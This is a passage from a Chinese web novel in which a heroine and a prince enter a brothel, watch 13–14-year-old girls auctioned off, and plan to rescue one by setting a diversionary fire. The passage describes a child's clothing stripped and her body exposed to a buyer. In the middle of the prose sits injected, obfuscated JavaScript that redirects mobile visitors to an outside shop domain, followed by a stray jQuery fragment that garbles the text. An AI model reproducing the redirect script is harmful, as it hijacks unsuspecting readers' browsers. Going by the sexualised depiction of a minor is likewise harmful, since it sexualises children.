“什么?”秦澈几乎不敢相信自己的耳朵,“你要去哪儿?”
慕衷情望天:“烟柳巷。”
秦澈一脸的一言难尽,他斟酌了半晌的言语,最终化为一声无奈的叹息:“你要去那儿做什么?”
慕衷情一听便知他这是愿意陪她去了,高兴地上前说道:“我要去实地考察,我想做一件大事。”
“什么大事?”秦澈耐心地问。
慕衷情指了指葡萄:“我不了解清州的风土人情,但是我认为,王爷想要粮草、粮饷自给自足,光靠让农户多种地是不行的,整个清州的经济都得发展起来,今儿个我问了些商贩,许多人家中也是农户,但每年种地的收成仅能糊口,此处不似丰州耕地多且连成片,他们大多都需要做些别的营生才能让日子过得稍微好一些。”
“可这跟烟柳巷有何关系?”秦澈问。
“烟柳巷应该不小吧,其中的秦楼楚馆想来也不少,若是那些女子都能投入到生产,就是一起去劳作,无论是种地,还是做些小生意什么的,这不都比当一个烟花女子更好吗?这么多的女子被解放,额被救出来,能产生多大的能量啊,您的名声威望也一定会更上一层楼。”慕衷情十分卖力地给秦澈画着美好的蓝图。
秦澈大概明白了她的想法,却并没有立刻答应:“你所想的确美好,可你要明白,这些女子之所以会成为娼妓,是因为这世道,有太多人希望她们成为供人亵玩的娼妓。”
“我明白,我当然明白,所以我不会自不量力,一个人去办这些事,所以我才在这里努力说服王爷。”慕衷情比谁都明白这有多难,可她愿意相信秦澈,相信他会去做,相信他能做到,“还记得我问过您的问题吗?在军中多年,无数次厮杀,您是为了什么?为了功劳、名利,还是想要守护天下太平,河清海晏。”
“自然是为了天下太平。”秦澈毫不犹豫地答道。
“那就是了,这份太平,难道这些女子就没有资格拥有吗?她们就只配成为别人的玩物吗?”慕衷情拉住秦澈的手臂,“王爷,我知道这很难,可是我想和您一起去试试,给这个世道的女子,一个可以靠双手谋生的机会。”
秦澈神情动容,他虽不懂慕衷情为何在这件事情上亦是如此执着,可看着慕衷情的诚挚与坚定,他隐约觉得,自己应当去和慕衷情做这件事,这件很有可能令世间翻天覆地的大事。
“你可想好了?”秦澈最后确认。
慕衷情立刻回答:“想好了。”
“那便去做吧,若此事功成,清州无数女子,要谢你蹈火相助之恩。”秦澈做了决定后,释然一笑,无论此事是否功成,至少他有信心,护得住慕衷情。
“也要谢谢王爷肯为她们冒天下之大不韪。”
两人相视一笑。
翌日傍晚,慕衷情再换男装,虽说不一定瞒得过同为女子的人,但好歹她身边还有个秦澈在,进入花楼也不算太奇怪。
吴雨和吴雪依然跟着他们,两人打死都不敢相信秦澈竟然真的会带慕衷情一起去烟柳巷。
这场面,怎么看怎么别扭。
但他们只是护卫,不好多言,只能默默地跟在后头。
天色渐黑,烟柳巷的灯火却逐渐亮起,喧嚣声比之白日里的晴云巷有过之而无不及。
有人在门口揽客,有醉鬼吵吵嚷嚷地发酒疯,有三五同行者说着些不堪入耳的下流话,四面八方传来的调笑声中还隐隐掺杂着哭泣声,繁华而又不堪。
秦澈一进入烟柳巷,便一直冷着脸,压根不像是来逛花楼的客人,偶尔遇到些不看路的,眼中的嫌弃都快溢出来了。
“小心。”秦澈将慕衷情拉到自己身边,避开了一个走路摇摇晃晃的酒鬼。
此时他也无法去在意礼数,别人不知,可他知晓慕衷情是个女子,总担心她被别人冲撞到。
走了一会儿后,慕衷情在一座花楼前停下,这是她目前见到的,建筑与装饰最为奢华的一座楼。
“就这里吧。”慕衷情对秦澈说道。
秦澈便率先走了进去。
慕衷情跟在秦澈身后,他们刚进去,还没走两步,就立刻有小厮上前招呼。
“几位客人快请进,今日花魁之选就要开始了,好位置早早就被占光了,客人若是来得再晚些,怕是座位满了便不让进门咯。”小厮谄媚地笑着,将两人引到左侧仅剩的几处空位,为他们斟满热茶,而后热切地盯着两人看。
秦澈朝吴雨使了个眼色,吴雨便立刻打赏了些银钱给小厮。
小厮这才满意退下,过后又端了些点心上来。
“你说,咱这是什么运气,一来花楼就碰上花魁大选。”慕衷情皮笑肉不笑地嘲讽,“这座无虚席的,不必早起干活的人过得就是舒服,待一晚上也能一掷千金了吧。”
秦澈默默地把茶杯推到慕衷情面前:“我也是第一次来,并不清楚要多少银钱。”
“行吧,等花魁大选结束,我们最好叫个人打听打听,应该不至于付不起吧?”慕衷情小声确认。
秦澈被她这么一问,忽然有些不确定起来:“应当是够的。”
两人说话间,台上的老鸨已经在介绍今日第一位竞选花魁的姑娘轻絮。
一见到轻絮抱着琵琶上台,慕衷情就皱起了眉头。
她把凳子挪到秦澈身边,几乎是贴着他,凑过去低声道:“我还忘了一件事情,往后这姑娘的嫁娶年龄,是不是也规定一下,你看这轻絮,分明才十三四岁的模样,这还是孩子呢!我——”
慕衷情硬生生憋回去一句骂人的话,在轻絮婉转的琵琶声中继续说道:“这些嫖客,真——”
“嗯,我知道,变态。”秦澈立刻接上。
“哟,你还会抢答了?”慕衷情十分意外。
秦澈的身子微微偏向另一侧:“你说过的,我虽不解其意,但你喜欢用这个词骂人。”
慕衷情一脸的孺子可教也,仿佛找到了知音。
此次竞选花魁的,一共有五名女子,皆是十三四岁的年级,论模样倒都是数一数二的,每个人的才艺也都不同,有擅琵琶琴筝等乐器的,也有舞技歌喉绝佳的。
而这评选,则要看底下的客人为谁出的价更高,哪位姑娘的身价最高,就是今晚选出来的花魁,开价最高的客人则能与之春宵一度。
结果还没出来,在一轮又一轮的竞价声中,慕衷情已经开始焦虑到抠手指。
“一万两白银!给轻絮!”
“这位爷出价一万两白银,还有哪位爷要价更高的?这可是花魁头牌的初夜,各位爷可要想好了哟。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047427|134766||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老鸨喜笑颜开,还试图撺掇其他人继续加价。
很快,价格又提了五千两。
慕衷情揪住秦澈的衣袖:“陆离,若我今日一把火烧了这烟柳巷,是不是太冲动了些。”
秦澈低头看着自己被捏皱的衣服,抬手覆上了慕衷情的手背,轻轻拍了两下:“确实冲动,但这是你的侠义之心,你不愿见这些女子像物件一样被拍卖,若是可以,我希望你永远不会被迫收起自己的良善。”
最终价格定在了三万五千两,还是刚刚那个要买轻絮的客人,那人看起来衣冠楚楚,像个斯文人,可那副嘴脸却万分下流。
老鸨又将轻絮推到了台上,强行剥去她披在肩上的轻纱,露出雪白的肩膀和手臂,以及胸前一大片春光。
而后,她笑着将那位客人请上台,让轻絮抱着琵琶,叼着酒杯,“请”客人喝一杯酒。
底下一片调笑声,客人盯着轻絮的胸脯,一把搂住她的腰往自己身上贴。
慕衷情低下头,她看到轻絮微微偏头避了一下,但也只是那么一瞬间,很快她就笑着主动凑上前任人轻薄。
“我有点,想带她走。”慕衷情喃喃低语道。
她是说给自己听的,声音极轻,因为她很清楚,自己不该逞一时之快,至少也该摸清楚这烟柳巷盘根错节的势力再动手。
她无权无势,也不是什么武功高强的大侠,许多事情都需要秦澈帮忙,她不该冒险,不该添麻烦。
“那就带她走。”秦澈没有看台上的闹剧,他一直注意着慕衷情的情绪,似乎明白她在想些什么,“你往后要救许多人,今日便先救一人,有何不可?”
慕衷情惊讶地抬起头,秦澈的目光很是认真,是真的认为这并无不可。
在这一刻,她感到自己好像是第一次认识秦澈一般,哪怕她从未认为秦澈是什么十恶不赦之人,但她始终只认为秦澈有的是上位者对下位者的怜悯,他有仁义、善心,却独独难以真正地,将一个底层百姓那如草芥般的命,视作举足轻重的,可为之冒险的事情。
当然,这有社会思想与制度的原因,慕衷情并没有认为这是秦澈的错。
同样的,她对他也并没有抱太大的希望,要改变一个人根深蒂固的想法,太累,也太危险。
可秦澈却告诉她,有何不可。
一石激起千层浪,他不会不明白,今天救下一个轻絮,往后那些商贾与贵族会给他带来多少麻烦,哪怕那些人地位与权势皆在秦澈之下。
秦澈浅浅扬起一个笑容:“别怕,你说的那些事,昨日我都已经想过,本该需要些时日去准备安置她们的房屋,安排她们学一些往后谋生的手艺,打点好舟安府中各方势力,可我毕竟是清王,是清州的王,若连一个舟安府都管不住,又如何管得了清州?”
他的语气很温和,却莫名地让慕衷情放下心来。
“与其往后束手束脚,不如今日大闹一场?”慕衷情放松下来后,还开了一个玩笑。
秦澈见她有了笑意,便招手让吴雨和吴雪靠近一些:“等到轻絮与客人进了房间,吴雪去后院找个没人的房间放一把火吸引他们的注意力,吴雨去把轻絮带走。”
吴雨和吴雪再次震惊,什么情况?他们家向来不近女色的王爷竟然要当着王妃的面抢花魁?